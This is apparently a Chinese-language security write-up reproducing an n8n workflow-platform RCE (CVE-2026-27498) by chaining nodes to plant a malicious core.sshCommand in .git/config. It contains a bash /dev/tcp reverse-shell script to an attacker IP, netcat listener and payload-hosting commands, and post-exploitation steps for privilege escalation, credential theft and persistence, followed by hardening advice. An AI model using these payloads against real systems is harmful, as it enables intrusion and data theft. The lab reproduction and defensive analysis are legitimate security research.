n8n工作流自动化平台CVE-2026-27498漏洞复现与链式攻击分析 📅 2026/7/12 8:27:59 1. 项目概述CVE-2026-27498漏洞复现最近在梳理一些开源工作流自动化工具的安全风险时我注意到了n8n这个项目。它凭借其强大的节点式编排能力和开源特性在自动化社区里越来越受欢迎。但越是灵活的工具在安全边界上就越容易出问题。CVE-2026-27498这个漏洞就是一个典型的例子它本身不是一个直接的代码执行漏洞而是通过将几个看似无害的功能节点串联起来最终实现远程代码执行。这种“功能链”式的漏洞往往比单一的高危漏洞更难被常规扫描器发现也更能考验一个系统的安全设计深度。今天我就带大家从零开始完整地复现一遍这个漏洞并深入聊聊它背后的成因、利用条件以及在实际渗透测试或安全评估中我们应该如何发现和防范这类问题。简单来说CVE-2026-27498是一个影响n8n工作流自动化平台的安全漏洞。攻击者通过精心构造一个工作流串联“HTTP请求”、“文件写入”和“Git”这三个标准功能节点可以在目标n8n服务器上实现任意命令执行。这个漏洞的核心在于对用户可控数据的处理不当以及功能节点间缺乏必要的安全隔离。它不要求攻击者拥有n8n的管理员权限只要能够创建并执行工作流即可因此对于暴露在公网或内网中权限控制不严的n8n实例来说风险相当高。无论你是安全研究人员、渗透测试工程师还是负责运维n8n平台的开发或运维人员理解这个漏洞的来龙去脉都至关重要。2. 漏洞原理深度解析2.1 n8n架构与安全模型浅析要理解这个漏洞首先得对n8n有个基本认识。n8n是一个基于Node.js的工作流自动化工具你可以把它想象成一个开源的、可自托管的“IFTTT”或“Zapier”。它的核心是“节点”每个节点代表一个具体的操作比如读取文件、发送HTTP请求、执行数据库查询、调用Git命令等。用户通过图形化界面将这些节点连接起来形成一个自动化的工作流。在默认的安装和配置下n8n的工作流执行引擎即Node.js进程通常以一个普通的系统用户身份运行比如node或n8n。这意味着工作流中节点所能执行的操作理论上会受到这个操作系统用户权限的限制。例如一个“执行命令”节点如果试图写入/etc/passwd会因为权限不足而失败。n8n的设计初衷是信任其用户通常是内部开发者或运维会创建合理的工作流因此它赋予了工作流节点相当大的能力包括读写本地文件系统、执行系统命令通过特定节点以及操作Git仓库。这里就引出了第一个安全假设的薄弱点功能节点的能力是正交且可组合的。单个节点可能看起来无害但当多个节点被恶意组合时其产生的效果可能远超设计预期。CVE-2026-27498正是利用了“文件写入节点”和“Git节点”的能力组合绕过了单纯依赖操作系统用户权限进行隔离的模型。2.2 漏洞链关键环节拆解这个漏洞的利用链清晰且经典主要依赖三个环节的串联可控文件的写入攻击者需要有能力将一个可控内容写入到目标服务器的文件系统特定位置。在这个漏洞中这是通过“HTTP Request”节点从攻击者控制的服务器下载恶意文件和“Write Binary File”节点将下载的内容写入磁盘的组合实现的。关键在于写入的位置必须是n8n进程用户如node有写权限的目录例如应用程序的工作目录、临时目录/tmp或用户家目录。Git配置的篡改Git允许通过.git/config文件或GIT_SSH_COMMAND环境变量等多种方式配置其行为。其中一个危险的配置项是core.sshCommand。这个配置项指定了Git在执行SSH操作如git fetch、git pull、git push到SSH远程仓库时使用的自定义命令。如果攻击者能够控制这个配置项并将其设置为一个恶意命令那么下一次Git操作时这个命令就会被执行。触发恶意Git操作在篡改了Git配置之后需要触发一个会读取该配置并执行SSH命令的Git操作。在n8n中“Git”节点可以执行git clonegit pullgit fetch等操作。一旦执行了这样的操作被篡改的sshCommand就会生效。漏洞的精妙之处在于它不需要攻击者直接向Git节点注入命令参数。相反它通过写入一个合法的Git配置文件来“污染”Git仓库的环境然后利用n8n的Git节点去触发这个被污染的环境。这是一种典型的“数据污染”攻击将恶意负载存储在数据配置文件中而非直接传递给命令接口。2.3 与CVE-2026-25053的关联与区别在分析CVE-2026-27498时一定会提到它的“前身”CVE-2026-25053。后者是一个更直接的Git节点操作系统命令注入漏洞。在CVE-2026-25053中攻击者可以通过向Git节点的某些参数如远程仓库URL注入特定字符直接实现命令执行。CVE-2026-27498可以看作是CVE-2026-25053修复不彻底或攻击面转移的结果。在CVE-2026-25053被修复后直接向Git节点参数注入命令的路径可能被堵上了。但是攻击者换了一种思路既然不能直接让Git节点执行我的命令那我能不能先改变Git节点执行时所处的“环境”让它在执行合法操作时“顺理成章”地执行我的命令呢于是利用文件写入节点来篡改.git/config文件的思路就产生了。两者的最终目标都是RCE但攻击路径不同CVE-2026-25053直接攻击Git节点的命令解析逻辑命令注入。CVE-2026-27498攻击Git节点的执行环境配置污染属于间接攻击。这种演变说明了安全修复中的一个常见陷阱修补了最明显的漏洞点但没有对漏洞产生的根本原因在这里是过度信任用户可控的Git操作环境进行系统性加固导致攻击者可以找到功能等效的替代路径。3. 漏洞复现环境搭建与配置3.1 实验环境规划为了安全、可控地复现这个漏洞我们需要搭建一个隔离的实验环境。我推荐使用虚拟机或Docker来构建整个靶场。攻击机 (Attacker Machine):操作系统: Kali Linux 或任何你熟悉的渗透测试发行版。IP地址: 假设为192.168.1.100所需服务:HTTP服务器: 用于托管恶意配置文件和反向Shell脚本。可以用Python快速搭建python3 -m http.server 8000。Netcat监听器: 用于接收来自靶机的反向Shell连接。命令nc -lvnp 4444。靶机 (Target Machine - n8n服务器):部署方式: 使用Docker是最快捷、最干净的方式便于后续清理。镜像选择: 我们需要一个存在漏洞的n8n版本。根据漏洞时间线它影响某个特定版本范围。为了复现我们可以直接使用漏洞公开前的最新版本例如n8nio/n8n:1.0.0此处仅为示例实际版本号需根据CVE详情确定我们假设漏洞存在于1.0.0到1.x.x的某个区间。一个更稳妥的方法是使用Dockerfile从源码构建一个已知存在漏洞的旧版本。网络: 确保靶机Docker容器能与攻击机IP通信。权限: n8n容器默认以node用户运行这符合漏洞利用条件。简易Docker启动命令用于快速搭建测试环境# 拉取一个可能存在漏洞的n8n版本示例请替换为实际版本 docker pull n8nio/n8n:1.0.0 # 运行n8n容器 docker run -it --rm \ --name n8n-vuln \ -p 5678:5678 \ -e N8N_BASIC_AUTH_ACTIVEtrue \ -e N8N_BASIC_AUTH_USERadmin \ -e N8N_BASIC_AUTH_PASSWORDpassword \ -v n8n_data:/home/node/.n8n \ n8nio/n8n:1.0.0启动后通过浏览器访问http://靶机IP:5678使用上面设置的用户名(admin)和密码(password)登录。注意在生产环境复现或测试时务必在隔离的网络中进行切勿使用公司或公有云上的真实环境。此漏洞可导致服务器完全沦陷。3.2 攻击载荷准备在攻击机上我们需要准备两个文件1. 恶意Git配置文件 (malicious-config)这个文件将用于覆盖目标仓库内的.git/config。其核心是将core.sshCommand设置为我们的反向Shell脚本。[core] repositoryformatversion 0 sshCommand /bin/sh /tmp/exploit.sh filemode true bare false logallrefupdates true [remote origin] url gitfakehost.com:dummy/repo.git fetch refs/heads/*:refs/remotes/origin/* [branch main] remote origin merge refs/heads/main关键行是sshCommand /bin/sh /tmp/exploit.sh。当Git执行SSH相关操作时它会尝试运行这个命令。这里的fakehost.com可以是任意域名/IP因为我们的目的不是真的进行Git操作而是触发sshCommand的执行。实际上由于这个假主机不可达Git操作会失败但sshCommand在Git尝试建立SSH连接之前就会被执行。2. 反向Shell脚本 (exploit.sh)这是一个简单的Bash脚本用于建立到攻击机的反向TCP连接。#!/bin/bash /bin/bash -i /dev/tcp/192.168.1.100/4444 01请务必将脚本中的192.168.1.100替换为你攻击机的真实IP地址。这个脚本使用了/dev/tcp这个Bash特有的特性来建立Socket连接。3. 托管文件在攻击机上进入存放这两个文件的目录启动一个HTTP服务器。python3 -m http.server 8000现在可以通过http://192.168.1.100:8000/malicious-config和http://192.168.1.100:8000/exploit.sh访问这两个文件。3.3 n8n工作流界面熟悉登录n8n后你会看到一个图形化的工作流编辑器。主要区域包括节点面板 (左侧): 分类列出了所有可用的节点如“Core”、“HTTP”、“File”、“Git”等。画布 (中间): 拖放和连接节点以构建工作流的地方。节点配置面板 (右侧): 选中一个节点后在这里配置其具体参数。我们需要用到的节点位于HTTP Request节点:Core-HTTP Request。Write Binary File节点:Core-Files-Write Binary File。Git节点:Core-Git。一个节点通常有输入和输出。上一个节点的输出可以作为下一个节点的输入。我们的漏洞利用链就是按照“HTTP Request - Write Binary File - Git”的顺序来连接节点并传递数据。4. 分步漏洞复现实操4.1 第一阶段投递恶意文件首先我们在n8n中创建一个新的工作流。步骤1添加并配置第一个HTTP Request节点从节点面板拖拽一个“HTTP Request”节点到画布。在右侧配置面板中Request Method: 选择GET。URL: 填入攻击机上托管的malicious-config文件地址即http://192.168.1.100:8000/malicious-config。Response Format: 选择String。因为我们下载的是一个文本配置文件。点击“Execute Node”按钮节点右上角的三角播放图标进行测试。如果配置正确节点会变为绿色并在输出中显示配置文件的内容。这个节点的作用是当工作流执行时它会从攻击机下载我们精心构造的Git配置文件。步骤2添加并配置Write Binary File节点从节点面板拖拽一个“Write Binary File”节点到画布。将第一个HTTP Request节点的输出点节点右侧的小圆点连接到Write Binary File节点的输入点节点左侧的小圆点。配置Write Binary File节点File Path: 这是最关键的一步。我们需要指定将文件写入到哪里。由于n8n以node用户运行我们无法写入系统关键目录。我们需要选择一个有写权限的路径。这里有两个常见策略策略A写入临时目录。例如/tmp/config。但后续Git节点需要读取这个文件来覆盖.git/config可能需要额外的移动操作。策略B直接写入Git仓库内的配置路径。这需要我们先有一个Git仓库。更优的方案是我们先让Git节点克隆一个仓库到某个目录如/home/node/.n8n/git-repo然后我们直接覆盖这个仓库内的.git/config文件。 为了简化流程我们采用策略B。假设我们计划将仓库克隆到/home/node/.n8n/vuln-repo。那么这个节点的File Path就应该设置为/home/node/.n8n/vuln-repo/.git/config。File Content: 这里需要填入要写入的二进制/文本内容。我们需要引用上一个节点的输出。在n8n的表达式中可以使用{{ $json.body }}来引用HTTP请求返回的响应体即配置文件内容。确保“Binary Data”选项未勾选因为我们是写入文本。测试这个节点需要先有上游节点的数据。确保它能成功执行将内容写入指定路径。至此我们完成了利用链的第一部分将远程的恶意配置文件写入到目标服务器上Git仓库的配置文件中。4.2 第二阶段污染Git仓库配置现在我们需要确保目标位置存在一个Git仓库并且其配置会被我们写入的文件覆盖。步骤3添加并配置Git节点用于克隆仓库在Write Binary File节点之前我们需要先添加一个Git节点来创建初始仓库。所以调整一下顺序在第一个HTTP Request节点之前先放置一个Git节点。拖拽一个“Git”节点到画布放在最前面。配置这个Git节点Operation: 选择Clone。Repository URL: 这里可以填入一个任意的、公开的Git仓库地址例如https://github.com/n8n/n8n.git。我们只是需要一个合法的仓库来初始化本地目录结构。也可以使用一个空的仓库地址。关键是后续操作会覆盖它的配置所以源仓库内容不重要。Local Path: 设置为/home/node/.n8n/vuln-repo。这就是我们计划写入恶意配置的目录。将这个Git节点的输出连接到第一个HTTP Request节点的输入。步骤4投递反向Shell载荷我们需要将反向Shell脚本exploit.sh也投递到靶机上。在画布上再添加一个HTTP Request节点。将其配置为从http://192.168.1.100:8000/exploit.sh下载数据。在这个HTTP Request节点后添加一个Write Binary File节点。将第二个HTTP Request节点的输出连接到第二个Write Binary File节点。配置第二个Write Binary File节点File Path:/tmp/exploit.shFile Content:{{ $json.body }}同样确保“Binary Data”未勾选。为了让脚本可执行我们最好再添加一个“Execute Command”节点在Core-System下。但为了简化我们可以在exploit.sh的HTTP响应头或写入后通过命令修改权限。更简单的方式是在攻击机创建exploit.sh时直接赋予其可执行权限(chmod x exploit.sh)然后通过HTTP下载。Write Binary File节点会保留文件内容但可能不保留权限。一个更可靠的方法是在写入后通过n8n的“Execute Command”节点执行chmod x /tmp/exploit.sh。为了复现流程清晰我们暂时跳过这一步假设/tmp目录下的脚本默认有执行权限在某些宽松配置下是可能的。现在工作流的前半部分逻辑是克隆一个仓库 - 下载恶意配置并覆盖其.git/config- 下载反向Shell脚本到/tmp。4.3 第三阶段触发命令执行最后一步是触发被污染的Git配置生效。步骤5添加并配置触发Git操作的节点我们需要另一个Git节点来执行一个会触发sshCommand的操作。在第二个Write Binary File节点后添加第二个“Git”节点。配置这个Git节点Operation: 选择Pull或Fetch。这两个操作都会尝试与远程仓库通信从而触发SSH命令的执行。Pull是Fetch加Merge。Local Path:必须指向我们之前克隆并污染了的仓库路径即/home/node/.n8n/vuln-repo。注意这个Git节点不需要配置远程仓库URL因为它会读取本地仓库.git/config文件中的配置。而我们已经将这个配置文件中的sshCommand修改为恶意命令并将远程URL指向了一个不存在的假主机(fakehost.com)。将第二个Write Binary File节点的输出连接到这个Git节点的输入。步骤6启动Netcat监听器在攻击机上打开一个终端运行以下命令等待反向Shell连接nc -lvnp 4444步骤7执行工作流在n8n编辑器中点击画布右上角的“Execute Workflow”按钮或按F2。观察节点的执行状态。第一个Git节点克隆应成功执行创建目录和仓库。第一个HTTP Request和Write Binary File节点应成功下载并覆盖配置文件。第二个HTTP Request和Write Binary File节点应成功下载并写入exploit.sh脚本。当执行到第二个Git节点Pull/Fetch时关键动作发生Git会读取被污染的.git/config。发现core.sshCommand /bin/sh /tmp/exploit.sh。为了执行git pullGit需要联系远程仓库(fakehost.com)。在尝试建立SSH连接时它会先执行sshCommand中定义的命令。于是/bin/sh /tmp/exploit.sh被执行。如果/tmp/exploit.sh存在且可执行它将尝试连接回攻击机的192.168.1.100:4444。如果一切顺利你将在攻击机的Netcat监听终端中看到一个来自靶机n8n容器的Shell连接。5. 漏洞利用的变种与高级技巧5.1 利用链的灵活组合上述复现流程是一个标准且清晰的链条。但在实际渗透测试中环境可能受限需要灵活调整。文件写入位置的替代方案如果无法直接写入Git仓库目录例如权限更严格可以尝试写入其他node用户可写的目录如/tmp然后利用“Execute Command”节点或通过其他方式如符号链接、环境变量注入等让Git读取这个配置文件。例如可以设置GIT_CONFIG环境变量指向/tmp/malicious-config。这需要另一个漏洞或特性来改变Git进程的环境。触发方式的多样性不一定非要用git pull。任何会触发Git使用SSH与配置的远程仓库通信的操作都可以例如git fetch、git push如果仓库有写权限等。甚至如果工作流中本身就有定期同步Git仓库的节点攻击者只需要污染其配置然后等待定时任务触发即可实现“被动触发”。载荷的多样化反向Shell只是其中一种载荷。根据目标环境可以执行任意命令如下载并运行挖矿木马、窃取环境变量中的敏感信息如数据库密码、横向移动等。5.2 权限提升与持久化考虑获得的初始Shell是node用户的权限。接下来需要考虑信息收集检查/home/node/.n8n目录下的配置文件、数据库文件寻找其他凭证。查看环境变量(env)n8n的配置可能包含API密钥、数据库连接字符串等。权限提升检查node用户的sudo权限(sudo -l)查看是否有SUID/GUID文件(find / -perm -4000 -o -perm -2000 2/dev/null)检查内核版本和已安装应用是否存在本地提权漏洞。持久化可以在n8n的工作流目录中植入恶意工作流使其在n8n重启后依然能执行。或者写入crontab、systemd service文件等。5.3 在真实渗透测试中的发现思路在黑盒或灰盒测试中如何发现此类漏洞识别n8n实例通过端口扫描(5678默认端口)、Web路径扫描(/webhook/rest等)、特征响应头等发现n8n。尝试未授权访问检查n8n是否配置了身份验证。早期版本或错误配置可能允许直接访问编辑器。权限测试如果获得了一个低权限账户能创建工作流重点测试功能节点的边界。文件写入节点尝试写入任意路径测试路径遍历如../../../tmp/test。命令执行节点如果存在直接测试命令注入。Git节点测试命令注入CVE-2026-25053并观察其行为看它是否会在本地创建仓库文件。寻找链式机会单独测试每个节点可能无害。但需要思考“如果我控制了A节点的输出能否影响B节点的执行环境或参数”例如文件写入能否覆盖影响后续节点行为的配置文件、脚本或数据文件这就是发现CVE-2026-27498这类链式漏洞的关键。6. 漏洞修复与安全加固建议6.1 官方补丁与升级对于n8n用户最直接有效的修复方式是升级到已修复该漏洞的版本。请关注n8n官方安全公告获取准确的修复版本号。通常修复会从以下几个方面入手沙箱隔离对工作流执行环境进行更强的隔离例如在Docker容器或无权限沙箱中运行不可信的工作流。文件系统访问限制限制“文件”类节点可以访问的目录范围白名单禁止写入关键位置如.git目录。Git节点安全强化对Git节点进行更严格的输入验证或禁止其使用某些危险的Git配置项如sshCommand。节点间数据流净化对从一个节点传递到另一个节点的数据进行更严格的检查和过滤。6.2 临时缓解措施如果无法立即升级可以考虑以下临时措施降低风险启用并强制身份验证确保n8n配置了强密码认证并限制可访问的IP范围。网络隔离将n8n实例部署在内网禁止从公网直接访问。严格限制其出站网络连接仅允许访问必要的服务如指定的Git仓库、API端点。最小权限原则运行不要以root用户运行n8n。创建一个专用的、低权限的系统用户来运行n8n服务并严格限制其文件系统权限例如使用chroot或容器技术。审计工作流定期审查已创建的工作流特别是那些由非管理员用户创建的工作流查找可疑的节点组合。禁用高风险节点在非必需的情况下考虑通过配置禁用“Write Binary File”、“Execute Command”以及“Git”等高危节点。6.3 安全开发与配置指南对于开发和运维团队纵深防御不要依赖单一的安全边界。即使工作流编辑器有认证也要对节点功能进行限制。安全审计开源组件将n8n这类深度集成到业务中的开源工具纳入软件成分分析(SCA)和安全审计范围及时关注其安全动态。日志与监控启用n8n的详细日志并集中收集分析。监控异常的工作流执行、异常的文件系统操作尤其是对.git目录的写操作以及异常的子进程启动。定期进行安全评估对内部的n8n实例进行定期的渗透测试或安全评估主动发现潜在的错误配置和链式漏洞。这个漏洞的复现过程清晰地展示了一个道理在复杂的自动化系统中安全风险往往不在于单个功能的强弱而在于功能之间未被充分审视的交互方式。作为防御方我们需要时刻以攻击者的视角思考——“如果我能控制A那么通过B和C我最终能达成什么目标” 这种基于“攻击链”的安全思维对于构建真正有韧性的系统至关重要。